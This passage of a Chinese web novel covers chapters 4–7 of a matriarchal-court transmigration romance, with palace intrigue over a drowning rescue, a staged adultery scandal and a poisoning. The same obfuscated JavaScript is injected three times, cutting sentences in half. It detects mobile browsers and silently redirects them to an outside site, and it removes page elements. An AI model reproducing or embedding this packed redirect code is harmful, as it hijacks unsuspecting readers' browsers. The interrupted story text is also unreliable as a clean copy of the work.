“谁会凫水啊?谁能下去救人。” 他们都是家族中静心培养的公子,琴棋书画,无一不精通,可偏偏,没学过凫水,见到有人落水,除了恐慌,就只能扯着嗓子喊。 下人很快围到河边,手足无措的站在原地,都不敢下去救人。 这个朝代,对男子的束缚颇多,名节尤其重要,言武帝上位前,男子出门在外,都要用喉结罩,若被人看了去,除了去寺里清修和自尽,就只剩下一条路,那就是嫁给对方。 言武帝上位后,采纳了凤后的建议,取消了男子的喉结罩,这才给男子多了些自由的空间。 夏日炎热,身上的衣服都十分轻薄,这一下水,几乎衣不遮体,众目睽睽之下,被陌生女子救上来,霍承起恐怕名声也要毁了。 “谁来救……救我。”霍承起的声音渐渐消了消去,他自小体弱,在水中撑不了多久。 ‘噗嗤’一声,有人下水。 霍承起昏迷前,看到了一个青玉色的衣角,以及,岸上的一对璧人。 言昭离看着言柳跳下水,颇有些激动:“男女主的经典桥段——美救英雄,无以为报,只能以身相许。” 4. 第4章 言柳迅速的跳下水,将人从水里捞了出来,半搂着霍承起,往岸上游去。 “是六皇女,六皇女下水了。” “太好了,霍兄有救了。” 有人喊道:“还愣着干什么,赶紧搭把手。” 站在原地的侍从迅速反应过来,找衣服的找衣服,叫太医的叫太医。 言柳抱起霍承起上了岸,立马有人给他们披上衣服,衣服宽大,足够遮住霍承起衣不遮体的现状。 霍承起身旁的侍从姗姗来迟,看到霍承起昏迷的模样,心都要吓出来了。 刚才公子说想一个人走走,不让他们跟着,他们只能在原地侯着,结果发生了这样的事。 侍从肠子都快悔青了,早知道不纵着公子,发生这种事,他们难逃其咎。 “六皇女,公子交给奴吧。” 言柳将怀里的人要递交到侍从手上,谁知怀里的人紧紧拽住了她的衣角。 霍承起双眼紧闭,嘴里念叨着:“不要走,不要走。” 溺水的人,总会把最后能抓住的东西紧紧握住不放。 言柳眼里闪过一丝无奈:“你家公子不放手。” 侍从急得脸上直冒汗,公子昏迷不醒,紧紧拽住六皇女不放,这要是传出去,于公子的名声不利。 也会有冒犯六皇女的嫌疑。 “救助人要紧,要不就让皇妹把霍公子送进房内,等人醒来说不定就放开了。” 言昭离出声建议,她刚才在树底下一直跟祁逾白看戏,她的位置,距离霍承起落水的位置,说远也不远,说近也不近。 要是她想下水救人,会比六皇女快。 可为何要下水救人,惹得一身骚,男主注定属于女主的,任何想染指男主的,都不会有一个好下场。 她现在出声建议,也是促进男女主的感情。 言柳不再犹豫,步履匆匆的去了偏房,为了方便贵人换衣,宴会的地方都会有偏房。 不一会,太医背着个箱子气喘吁吁的来了:“微臣见过大皇女,六皇女。” “不必多礼,快些给霍公子瞧瞧。” 太医上前,将手帕搭在霍承起的手腕上,把脉后,诊断道:“霍公子受到了巨大的惊吓,被梦魇缠住,微臣等会扎上两针,再开几副安神的药便可。” “幸亏霍公子救得及时,要是再晚上一时半刻,命都不一定保得住。” “就按你说的做。” 太医取出针,分别在霍承起的三个穴位上扎了下去,不一会,霍承起就悠悠转醒。 “我……被救了吗?”他问。 “是。”言柳出声。 霍承起寻着声音看去,心猛的悸动,他一言不发,只是紧紧的注视着面前的身影。 言柳五官柔和,是那种越看越舒服的长相,她一身青玉衣袍,一根简简单单的木簪子将头发盘了起来,如此简单的装扮,更显温和。 这是霍承起第二次被言柳救,第一次,是被言昭离下药的那日,他虽然挣脱了束缚,但根本跑不了多远,是意外撞到了言柳的马车,被她送回了府上。 “殿下。”他喊得很小声。 “见过六皇女。”同时,有人盖住了他的声音,言柳转身,错过了他的声音。 皇贵俞身旁的掌位公公面露担忧:“霍公子没事吧,皇贵俞一听霍公子落水了,本想亲自赶来的,可奈何身子实在不景气,只能谴奴来。” 霍承起惨白着一张脸道:“多谢皇贵俞挂念,臣无事。” 公公拍了拍胸脯:“那就好那就好,这下老奴也能回去交差了。” 他又问了几句,就退下了。 “殿下。” 太医刚才已经把霍承起身上扎的银针拿下,退下了,言柳眼看着也要离开,霍承起急忙喊住。 “殿下已经救了臣两次,臣……无能为报。” 言柳的面上满是不在意:“我救人,是凭心救的,不需要任何回报。” “可臣想报答,殿下,娶了臣吧。” 此次落水,他于众目睽睽之下,被六皇女救了上来,就算没发生什么,但于名声也有损耗,以后就算再嫁,也只能下嫁。 还不如就这样嫁给六皇女,起码,他是属意六皇女的,在姜邬问那个问题时,他脑中,浮现的是言柳的身影。 能嫁于她,他很欢喜。 言柳面色沉重,手指无意识的摩挲腰上挂的玉坠子:“你可知你在说什么?” “臣知道。” 良久,她叹了一口气:“好,我会向母皇求旨。” * “我打赌,男主醒来,看见第二次救了自己的女主绝对会心动不已,然后经典桥段——无以为报,只能以身相许。” “说不定他们现在正在商量着赐婚事宜。” 言昭离悄悄跟祁逾白交流,这里人多眼杂,她讲的内容不能被旁人听去,因此只能踮起脚尖,附在祁逾白的耳边说。 “我听不太清,你再靠近些。” 言昭离只能再靠近一点,同时在心里感叹,啧啧,老板不过三十年岁,耳朵就不行了。 “嗯,毕竟这次剧情过后,男女主就被赐旨订婚。” 两人旁若无人的交谈,把周围未出嫁的公子看得脸都红了,同时在心里啧啧称奇。 这小郎蛊惑人心可真有一把手。 向来只有男子低下身子听妻主的话,从来没有像大皇女这样宠的,垫着脚都要听对方讲话。 甚至连这种宴会,大皇女都能把这小郎带进来,这是有多离不开对方。 心里对祁逾白受宠的程度有了更清晰的认知。 “看,那湖面上怎么有个小船。” “那船,怎么在晃。” “这场面,怎么那么像……”说话的人猛的住嘴,这可是众目睽睽之下,怎么可能会发生这样的事。 一艘可以容纳四五个人的小船摇摇晃晃的飘到湖中央,顺着水流的方向,逐渐靠近众人赏花的岸边。 靠得近了,船里面的场景也能看到些,半遮半掩的船篷,两道交缠的身影,动静也能听得一清二楚,女人的娇哼声,男人的喘气声…… 言昭离自然看到听到了,她和祁逾白对视一眼,眼里都有种山雨欲来风满楼的沉闷。 这是,要发生大事。 “全部人,都后退,转过身去。”她的身份是全场最尊贵的,几乎是话落,众人都照做。 “将两人分开,衣裳穿好,带到皇贵俞面前。” 侍从拿着杆子将船勾得近些,然后一涌而入,将船里的两人捉住。 两人都被扣押在地,男人头发被撩开的那瞬间,言昭离觉得莫名的眼熟,她的心里有股不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567736|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的预感。 果然,下一刻应验了,男人那张如花的脸露出迷茫,嘴唇悠悠吐气:“昭昭,我怎么在这?” 男人是凤后的弟弟,皇帝的贵卿,言昭离的姑父。 “为什么要绑着我。” 男人脑子还没清醒过来,但环顾四周,看到另一个被绑住的身影,脑子像被人锤了一小子,顿时清醒过来,全身冒冷汗。 “带走吧。” 人很快被带到了皇贵俞处,男人在地上直磕头,大声为自己辩驳:“求陛下放过臣夫,臣夫什么都不知道,臣夫是被人算计的。” 皇贵俞操劳过度,病重得不能起身,言武帝念着他辛苦,特地批完奏折后来看看他。 谁知,就恰巧碰到了被压上来的念贵卿,得知前因后果后,她震怒不已。 她上前踹了念贵卿一脚:“贱夫!” 天子一怒,伏尸百万。 殿内的所有人都跪在地上:“请陛下息怒。” “陛下,臣夫冤枉。” “臣夫是被人下药,对,被人下药了。” 言武帝冷笑道:“既然你看看声声说什么被下药了,那朕倒要看看是不是真的被下药了。” “来人,传太医。” 旁边的皇贵俞眼里闪过一丝嘲讽,皇帝还是心软了啊,也对,对着白月光那张相似的脸,怎么可能狠下心来。 他的心里再次忍不住嫉妒,那位凤后的命可真好,轻而易举得到了陛下的爱。 他死后,家族的荣耀,门内的仕途,都通向了一条无比顺利的天梯。 可惜,现在只能止步于此了。 太医到的很快,来的路上一步都不敢停歇,一到场,行过礼后,立马给念贵卿把脉。 诊过脉后,太医面色无比凝重的回道:“念贵卿的体内并无任何中毒的迹象。” “怎么可能,我不相信你。”念贵卿喊道,“我不相信你,陛下,肯定诊——” “闭嘴。” “把那个□□带过来。” 跟念贵卿私通的,是一个普通的侍卫,样貌普通,丢进人海里找都找不出来。 “朕问你,为何与她私通。” 念贵卿看向陌生的女子:“陛下,臣夫不认识她。” 本在耸搭着头的女人立马抬头,恨恨的看向念贵卿:“念郎,你为何要怎么说。” “为什么要否定我与你的一切。” “是你说陛下心里只有凤后,看到你这张脸,陛下只会陷入悲伤,你不得宠,又不甘寂寞,让我抚慰你。” “是你今儿要寻求刺激,所以才会在船上。” “你胡说,你胡说,我从来没有说过这种话。” “你的大腿内侧有一个红痣,右手腕处有一个疤痕,是小时候为救凤后所伤的。” 念贵卿瞪大双眼,一时找不到任何话反驳,女人说的话,全部都是真的。 他不甘,只能颤颤巍巍的爬向皇帝,露出梨花带雨的小脸:“陛下,臣夫冤枉,这个女人说的都是假的。” 言武帝厌恶的甩开:“是真是假,朕自有分辨。” 她捏起念贵卿的下巴:“这张脸,相似他,真是玷污他。” “来人,将他脸上的皮扒下来,过程中不要让他死了。” “这么容易死了,可就太便宜他了。” 5. 第 5 章 等两人被拖了下去,皇贵俞突然跪了下来:“求陛下责罚,臣夫看管后宫不力,竟导致这种事情的发生。” 他低着头,笔直的跪着,身子在殿中显得越发单薄。 言武帝将他扶起:“起来吧,朕不会怪你,朕知道你近些时日辛苦了,有些疏忽是难免的。” 皇贵俞坚持道:“陛下不责罚臣夫,臣夫心中惶恐不安。” “你操心赏荷宴,把自己累到了,朕还没奖赏你,既然执意要朕责罚,那就功过相抵吧。” “臣夫谢过陛下。” 言昭离站到一旁,默默降低自己的存在感,她可不信,如同副后的皇贵俞,会管不好一个小小的贵卿。 言武帝不再多待,略有些疲惫的离开。 皇帝走后,言昭离也马上告辞。 小小的赏荷宴就这样作罢,大皇女、二皇女的婚事,就这样搁置了。 * 马车平缓的行驶在路面上,街上热热闹闹的喧嚣声透过帘子传了进来。 “这件事,必定有人在操控。” “嗯,你说得不错。” 祁逾白手拿着茶杯,气定神闲的品茶。 “念贵卿是凤后的弟弟,他和人通奸,无论这件事是不是被算计的,这件事,众目睽睽之下,就已经做实了他给言武帝带绿帽子的名声。” “言武帝是九五至尊,权威不容被挑衅,尽管再对凤后有情,也不会轻易饶恕这件事。” “言武帝估摸现在正在发愁如何处置念贵卿的母家,也是你身后最大的帮扶。” “幕后之人,这是想把你剔除那个位置的候选人。” “所以,”言昭离脑海里浮现一张脸,“幕后之人是皇贵俞。” “对,这可算得上明面上过招了。” 皇贵俞故意在赏荷宴后生病,安排了今日这一出,实际自然是借生病的名头摘除自己的嫌疑。 言武帝不蠢,朝政上的事情都可以处理得井井有条,可身为局内人的她,被关心皇贵卿的心影响了。 皇贵卿在后宫得宠十几年,除了凭借那厉害的手段,自然有言武帝的宠爱。 祁逾白放下茶盏:“皇贵俞用那么明显的手段,估摸是觉得你蠢笨,不值得设那么大的局来对付。” “除掉你身后的帮衬,接下来该对付你了,如果我猜的没错的话,府上还会有后手。” 言昭离惋惜道:“那还真是可惜了,他的计谋注定会落空。” “其实也可以不用落空的。”祁逾白略一思索。 “失去了言武帝的宠爱,也失去了所有的关注,说不定更容易活到大结局。” “不行,必须落空,”言昭离沉重的摇头,“老板,你忘了,我这具身子是恶毒女配,性格跋扈,不知道招惹了多少仇家,要是失势,不知道会有多少人想上去踩一脚。” 言昭离喜欢享受,现在这生活品质,她甚是满意,要是失去了,心里不知道会有多郁闷。 言昭离拍拍祁逾白的肩膀:“我要是失势了,老板,你也会很惨的,就凭借这容颜,不是在被强取豪夺,就是在被强取豪夺的路上。” “这么说,我还得抱紧你的大腿了。” 言昭离顿时脑中警铃大响,老板素来冷酷无情,一旦笑了,那就是有人要倒大霉了。 她露出谄媚的笑容:“怎么能说是抱大腿,这明明是属下发自内心的想保护老板的清白。” 不然在现代都清白的身子,到古代却被人玷污了…… 依据他那洁癖的程度,不会找条河自杀吧。 不不不,他应该会嫌弃河里的水不干净,那要是找口井呢,井水清澈些…… 言昭离沉浸在自己天马行空的想象中,忽视了祁逾白眼里一闪而过的笑意,不愧是他高薪聘用的秘书,就是上道。 如果这次平安回去了,倒是可以考虑考虑给言秘书加工资。 外面狂风大作,马车里面却是一派融合,言昭离的声音从马车里传了出来,不大清楚:“正好,借着这次机会,摸清楚府上的眼线。” * 天色渐暗,最后一抹夕阳也被云遮挡的严严实实,回来的时间不晚,已经快到了用晚膳的时候。 宫中的宴会,穿的一般都是盛装,衣服一层一层的叠穿,脱起来相当繁琐。 言昭离用晚膳前,要先沐浴,翠鸣翠玉都是她身边近身伺候的,帮她脱簪解衣。 “嘶。”的一声,言昭离痛呼出声。 翠玉立马下跪求饶:“求大皇女饶命,奴是无心之举的。” 言昭离瞥向被她握在手心的发簪,没有任何倒钩,甚至款式都是很简单的。 如果用心些,能轻而易举的拿下,不会钩掉好几根头发。 她眼睛眯了起来,翠玉见状,急忙在地上连磕头:“求大皇女饶命,奴有些心神不宁。” 不待言昭离问话,她自顾自的解释:“奴只是担心远在家中的双亲。” 戏台子都搭在眼前了,言昭离自然要顺着对方演下去。 她问:“怎么回事?” “奴的家中开了个小铺子,平常都是兄长在料理,可兄长前些日子遭人污蔑,被下了大狱,双亲跑断了腿,都没能解救兄长,只能每日在家中叹气,父亲忧心过度,现如今卧病在床。” “租的铺子每月末都要收取保护费,那人凶神恶煞的,奴担心家中双亲失去了兄长的庇护,应付不来这些事。” “奴因心中担忧失了分寸,还请大皇女责罚。” 她一番话语,句句恳切,在情在理,如果没有发生今天这事,断不会引人多想。 言昭离的眼里带了些哀愁,良久,叹了一口气:“既然如此担心家中亲人,那就回家看看吧。” 翠玉感激的连连磕头:“多谢大皇女,多谢大皇女。” 她低着头,眼里划过一丝得逞的笑意。 “都退下吧,让本皇女好好静静。” 翠鸣翠玉齐声说道:“是。” 两人退至门外,翠玉对翠鸣说:“姐姐,这几日要劳烦你多顾着大皇女了。” 翠鸣握着她的手:“应该的,这几日你也不要过于担忧,总会过去的。” “有姐姐宽慰,我心里好受多了。” 出了皇女府的翠玉,沿着一个偏僻的小路行走,在一个拐角处转了弯。 “事都办妥了吧。”一个中年男子捏着嗓子说道,他的声音极细。 “公公放心,事已办妥。” “那大皇女可有什么反应。” “大皇女面上很是平静,可在奴看来,这已经是很不正常的事了。” “哦,这怎么说?” “大皇女为人跋扈,对待下人自然不会好到哪里去,要是在平常,奴做错了事,少不了一顿板子,可今日,大皇女没有责怪奴,甚至还准许奴回家。” “大皇女最后让人退下,一个人待在房内,可见,大皇女面上平静,可心里堆满了事。” 公公笑得褶子都出来了:“此事你办得很好,回去等着领赏吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567737|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “多谢公公,多谢公公。” 远处一片衣角消失在原处。 * “大皇女可在里面?” 沐浴完的祁逾白一身白衣,脸上还带着未褪去的余热,发梢还滴着小水珠。 翠鸣不敢多看,低头回道:“在。” “我进去看看。” “祁小郎,大皇女不让任何人进去。” “没事,”祁逾白轻轻推开门,“大皇女要是怪罪,我一人承担。” 屋内,言昭离对镜忧愁:“哎呀,我好难过啊,怎么有人可以长得那么美。” “这世界上还能找出我这么完美的人吗?” 祁逾白看了一会,手握拳放在嘴边,遮掩笑意,可惜实在遮不住,最后轻笑出声。 言昭离循声看去,‘腾’的一下,站起身来:“老……老板,你怎么来了?” “我要不来,恐怕还看不到言秘书的另一副面孔。” 言昭离脸皮再厚的一个人,此时也忍不住脸红,老板平时那么正经的一个人,调笑起来,可真是让人受不住。 难道这就是传说中的近朱者赤近墨者黑,老板被原身影响了。 她急忙转移话题:“老板,你头发没干,我帮你擦头吧。” “帮我擦头?” “对呀,我跟你讲,你可能是第一次做女人,这头发洗了要是不擦干,很容易头疼的。” 话音止住,等她意识到自己讲了什么的时候,已经来不及了。 “第一次做女人?”祁逾白说到最后两个字的时候声调猛地一高。 “不对不对,嘴飘了,我是讲第一次拥有女人这么长的头发。” 祁逾白没反驳,皱着眉头的看了肩上还未干的头发,这头发,确实麻烦。 要是在现代,有吹风机还好说,可这是在古代,只能靠人力,可祁逾白不喜他人的触碰,自己又懒得擦。 见圆了过去,言昭离长长的松了一口气,老板穿过来的这具身子,美的雄雌难辨,可能是因为女尊文的设定,举止间又多了些勾人的意味。 于是言昭离恍惚间,就将祁逾白当成妹妹照顾。 这可不行,在职场中,对老板不敬,大忌。 言昭离有默念了一遍职场生存指南,手上的动作越发轻柔。 祁逾白感受着头上传来的柔意,视线逐渐落在了桌面的铜镜上,古代的铜镜没有现代清晰,可依然能把言昭离脸上的神态照映的清清楚楚。 她目光专注,动作轻柔的像是对待着什么珍宝。 看的久了,祁逾白突然猛地反应过来,像是被烫了一样,收回视线。 正在仔仔细细擦头发的言昭离注意到祁逾白红了的耳朵,心里纳闷,难道是动作太重了。 可要是再轻些,加上祁逾白的头发本就浓密,猴年马月能擦完。 她正犹豫着,突然听到祁逾白问起:“已经有行动了?” “是,跟我们原先设想的一样,目标是我。” 她原原本本的把翠玉的事讲了一遍,又拿起了窗边的信。 “这是刚才翠玉离开后没多久,有人放这的,一些大臣的联合信,要我明天和她们一起给言武帝施压,饶了我的母族。” “如果我病急乱投医,说不动真就上当了,黄鼠狼给鸡拜年,不安好意。” “这事,损了皇帝的权威,必不会轻拿轻放,在这个风口浪尖上施压,是让我找死呢?” “皇贵俞还真是迫切的想让我让路。” 6. 第 6 章 云风殿,贤俞所住的宫殿。 “今日的事都办妥了?” “是,父君,一切都妥当,未引人怀疑。” 殿内,言柳站至一旁,恭恭敬敬的回答。 “那就好,”贤俞拿着小勺,往一盏紫铜麒麟香炉里放香,一开口便是凉薄的语气,“你父君我,出身不高,只能凭你自己的本事找个帮衬的。” “父君,儿臣还有一事要禀告。” “什么事?” “皇贵俞打算对大皇女下手了。” 言柳把今日发生的事说了一遍,重点提了翠玉和信的事。 贤俞嗤笑一声:“四皇女快到入朝的年纪了,皇贵俞这开始铺路了,还真是迫不及待。” 他又看向言柳:“这件事,你怎么看。” “儿臣觉得甚好,皇姐自小受尽宠爱,母族又显赫,自从入了朝,大臣中有不少支持她的,皇贵俞先对她下手,不足为奇。” “就让他们争斗,鹬蚌相争,渔翁得利。” 贤俞赞赏的看了她一眼:“不错。” “夺帝之争,向来是如此,但只需记住一点,最后的赢家,必须且一定是你。” 香炉里的香被点燃,寥寥烟雾渗透出来,蔓延到整座宫殿,像是蒙上了一层面纱。 * 早朝还未开始,皇帝就颁发了一道诏令,念贵卿德行有失,太傅教子无方,抄家流放。 不少人忍不住唏嘘,言武帝对已逝凤后,还真是用情至深。 念贵卿众目睽睽之下给言武帝带了这么大的一顶帽子,还能用‘德行有失’这四个字概括。 凭借念贵卿做的事,都可以抄家问斩了,可偏偏是流放,且流放之地还是富饶的水乡——江南。 这到底是流放还是放林太傅告老还乡。 皇帝这轻拿轻放的心思还真是明目张胆。 众官员心里吐槽,面上自然不会表现出来,甚至一些官员还跳出来阻拦。 “有事启奏,无事退朝。” “臣启奏。”正六品太史令正拿着奏本,迈步出班,到御前跪下,用官话一字一句的说道。 “林太傅年事已高,实在不宜流放,臣恳请陛下念林太傅功苦劳高,允她在京城修养。” 太史令的话一出,底下的官员跪下了三分之一:“臣附议。” 言武帝不怒自威:“可还有人这么觉得?” 言昭离和言落依站在文武百官的最前列,两人端站着,不时感到后面殷切的目光。 言落依低声说:“皇姐,她们好像很想让你出头,你看,身后的目光,都快贴你身上了。” 言昭离淡淡道:“林太傅是我的外祖母,此事关乎我的母家,自然要让我出来说话。” “可是……”言落依想出声提醒一句,可又纠结,要是皇姐不领情怎么办? 罢了,好歹是小时候一起玩过的皇姐,还是提醒一句吧。 她张嘴出声:“皇姐,我劝你——”不要插手此事。 话还未说完,言昭离已然出声。 “母皇,儿臣有事禀报。” 言武帝的语气极淡,听不出喜怒哀乐:“你要说什么?也是为你外祖母求情。” “不是,儿臣认为母皇的处理极好,姑父做错了事,外祖母的心中必然悲痛,但更多的是面对母皇的惭愧,教子无方,外祖母对母皇的处理必定是毫无怨言的。” “父君在天上也会宽慰。” 凤后的名头一出来,言武帝的面色都比刚才看上去好很多。 念贵卿的事情发生后,她第一时间处理了念贵卿,可对凤后母家,却是犹豫不决,担心处置过了,凤后会不会怪她。 她本就对凤后亏欠良多,现在还要对他的母亲进行责罚。 言武帝的心情是高兴了,可底下跪着的官员,一颗激动的心哇的一下被泼了一盆凉水。 不是,这怎么跟原先商量好的不一样。 不是说好的求情吗? 大皇女怎么还带出尔反尔的,难道是看出她们的计谋了,不不不,大皇女蠢笨,应该看不出来的。 单纯只是因为大皇女阴晴多变,可能是心情不好,想反着来。 对对对,一定是这样。 “传朕口谕,太史令言行有失,罢免官职,所有进言的官员,官降一级,罚俸一年。” “大皇女忠勇双全,江南此地,最是富饶,以江段为代表的贼寇,无恶不作,朕允大皇女挑两千兵锐,解决此事。” “是,儿臣/臣等遵旨。” 下了朝后,言落依走在言昭离身旁,举起大拇指给了她一个赞:“皇姐好厉害。” 言昭离谦虚道:“哪里哪里,还是要多谢皇妹你的提醒。” 言落依心里想:我提醒的话都没说出口,要谢我什么,不过,最让人惊讶的是,向来愚钝的大皇姐,竟然长了脑子。 “要说还是皇姐厉害,领了这么大一份差事,要是回头立了大功,可别忘了皇妹我。” “一定一定。” 两人一来一回的交谈,远处,有人焦急的跑了过来:“大皇女,大皇女,出事了。” “什么事?” 翠鸣顾不上顺气:“祁小郎中毒,如今昏迷不醒的躺在床上。” 言昭离脸色一变,将腰间代表身份的宫牌递给翠鸣:“你拿着这个,去太医院找太医。” “记得,要快。” “皇妹,皇姐这还有事,先行一步。” “好,皇——” 言昭离甚至都没等言落依说完话,就急促的离开。 言落依看着她的背影,直摇头:“京城这天,可真是要变了。” 身后想跟大皇女搭话的大臣止步,望着大皇女渐行渐远的身影,心里直纳闷,发生了什么事,怎么大皇女如此着急。 等到知道了前因后果,再一次感叹大皇女对那祁小郎的上心程度。 大皇女虽然失去了母族的势力,但领了去除匪患的差事,只要解决,就是大功一件,说不定还会因此封王。 再加上言武帝对大皇女的宠爱,无数的势力又会抛出连理枝,那这帝位,那可真是名花有主了。 这也是大臣们想要结交言昭离的原因。 * 床榻上,祁逾白身着单衣,面色苍白,眉头紧皱,哪怕是病重,也没有丝毫减免他的美貌,反而更添了一丝脆弱。 嘴唇的颜色较常人深些,甚至透着一股青紫色,一看便知中毒颇深。 言昭离坐在床边,握着他的手,揪心道:“没事的,逾白,太医会救好你的。” “太医呢?” “老身在。”太医急急忙忙的跨步进来,一进来就要行礼,言昭离一个摆手。 “不用行礼,先给他瞧。” 太医战战兢兢的开始诊脉,时间越长,面色越凝重。 最后,掀开衣袍,跪在地上:“请大皇女恕罪,臣,无能为力。” “祁小郎中的毒已经有了一段时日,来势汹涌,现在已经蔓延到全身肺腑,就算大罗金仙来了,也无能为力。” “闭嘴,”言昭离气到浑身发抖,指着太医的鼻子骂,“本皇女不相信,肯定是你医术不精,庸医。” 太医内心大喊冤枉,面上磕头认罪:“请大皇女息怒,臣无能。” “来人,把整个太医院的都请来,要是治不好,本皇女要整个太医院都陪葬。” 翠鸣震惊,也顾不上考虑言昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567738|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离的脾性:“请大皇女三思,现在重中之重,就是找出下毒之人。” “对。”这句话像是给言昭离找到了一个主心骨,“得先找到下毒之人。” “太医继续在房中救治,”她大步踏出房门:“将府上所有人叫到院中问话,本皇女倒要看看,哪个胆大的敢下毒。” 一时间,所有人都被召集到院中,大家面面相觑,不知道大皇女又发什么疯。 一张椅子被搬到屋檐下,天气炎热,椅子旁放这盛满冰的盆,专门解暑用的。 言昭离半躺在椅子上,旁边还有人专门扇风,嘶~舒坦,开始干活。 “本皇女平日不常管事,以至于混进来几个眼线都不清楚,今日给祁小郎下毒,明日是不是就敢给本皇女下毒。” 底下哗啦啦跪倒一片:“请大皇女息怒,奴不敢。” 言昭离‘哼’了一声:“不敢,我看你们当中,倒是有胆大的,谁能举报行迹鬼祟的,有赏。” 众人你看看我,我看看你,都不敢开口。 “没人出来,那我就一个个问。” “翠玉,本皇女问你,祁小郎是如何中毒的。”翠玉自从上次回家后,就被指派到祁逾白身边伺候。 翠玉支支吾吾答道:“奴……奴不知道。” “很好,”言昭离的眼中划过一丝冷意,“翠玉失职严重,直接发卖吧。” 翠玉连连磕头:“求大皇女饶命,奴再也不敢了,奴保证,下次一定……” 可惜没人听她求饶的话,她很快就被强有力的侍从捂住嘴巴,拖了下去。 杀鸡儆猴的效果很好,一群人像是鹌鹑一样的缩在一处,眼里都是惧意。 终于,有人颤颤巍巍伸出了手:“奴举报,宝风行为举止怪异,奴有次看见她偷偷摸摸的在一个墙角塞东西。” 宝风怒道:“你放屁。” “我从来没做过,肯定是你嫉妒我差事做的比你好,胡乱编的,想栽赃我。” 她转头向着言昭离:“求大皇女明鉴。” “本皇女懒得调查,直接发卖了吧,给那个举报的看赏吧。” 一个圆滚滚的金元宝就这样在众目睽睽之下被塞进了举报人的手里。 众人看到眼都红了,一个个争先恐后的举报。 “奴举报,奴看见她半夜不睡觉,在院里喂鸽子,肯定是向外传递情报。” “奴举报,奴看见他出府后,经常出入一些酒楼。” “奴举报,他平日月钱不多,可每日穿金戴银的,前些日子还向我们炫耀新买的金链子,要是不信,可直接扒着他的脖子看。” ………… 一些人行踪是真诡异被举报,一些人则是别的原因,让言昭离都忍不住扶额。 比如:“奴举报,他半夜偷偷摸摸的进厨房,鬼鬼祟祟的在那里找什么东西。” 被举报的男子急了:“不是,我那只是晚上饿了,在厨房找吃的。” 这些存疑的举报,被放置一旁,等待日后调查。 行迹诡异的下人直接发卖,要是运气好些,还可以被他们背后的主子买走。 剩下的人,言昭离让翠鸣登记了身份信息表,详细的甚至连他们七大姑八大姨家里养的狗崽子都登记了。 府上除去做杂事的,总共也就百来个人,去除一些很容易被发现别有用心的,也就剩存五六十人。 这巨大的数字差,让言昭离都忍不住感叹,这大皇女府,还真是漏成一个筛子了。 剩下的人又被分成了各个小组,互相监督,一旦发现行迹诡异,还可互相举报。 远在千里之外的皇贵俞收到眼线全被清除掉的消息,怒急,‘哗啦’一下,将桌上的茶盏全都拂落在地。 7. 第 7 章 “一群废物,连这点小事都办不好,本宫养你们有何用。” “请皇贵俞息怒。” 四分五裂的茶盏碎片落了一地,倒映出皇贵俞狰狞的面孔。 皇贵俞身边的掌事公公进风劝道:“小主何必发这么大火呢?当心伤着身体。”他拿起皇贵俞的手,仔细检查,“要是碎片进了手心,小主这双如玉的手,恐怕是要留疤了。” “本宫气不过,进风,你说,一个人短时间内会发生这么大的转变吗?” 大皇女向来愚钝,怎么那么凑巧,前脚刚避开他们设的局,后脚就把他安插在府中的眼线全部拔除。 “奴认为,大皇女应是有了其他的助力。” “其他的助力,你是指?” “大皇女身边的新宠祁小郎,小主觉得,一个男人,在短时间内能能如此得宠,靠的是什么?” 皇贵俞毫不犹豫的回答道:“当然是他本身的价值足够吸引人。” 他从小到大,都不相信他人真心,更何论如此明目张胆的偏爱。 就拿那位世人都说深情的言武帝,在对凤后的感情上也掺杂着几分利益。 “奴还听说,那祁小郎的出身卑贱,还是醉仙坊的花魁,现在却如此得宠,可见其谋略不低,再加上他到了大皇女身边,大皇女就事事如意,说不定就是他在背后出谋划策。” “如此有价值的一个人,就这样失去了,大皇女自然震怒。” 皇贵俞狭长的丹凤眼眯了起来:“说的不错,这样一个人,还是要尽早死去最好,这样才不会碍路。” “小主放心,奴听说,那祁小郎活不了多久,大皇女在外面张贴告示,寻求名医,府中日日吃斋,念经。” “那可真如本宫心中所愿。” “父君在说什么这么开心?” 殿门口,两道身影齐齐走了进来,一人身穿玉白刻丝云纹织锦衣,眼神温和,嘴角始终带着淡淡的微笑。 一人身穿桃红暗花海棠织锦衣,头上带了一朵绒制的桃花,他容貌俊俏,可惜眉眼间的骄横生生破坏了几分气质。 皇贵俞的母亲是尚书令,家中显赫,入宫后,深的圣宠,与皇帝有一儿一女。 三皇子言时和四皇女言笛梵是龙凤胎,两人的样貌都肖似皇贵俞,可行事作风却完全相反。 言武帝有两子,四皇子夭折,心中悲痛,于是对这个唯一的皇子更加宠爱,因此养成言时骄纵蛮横的性子,做事完全不考虑后果,只凭自己的心情。 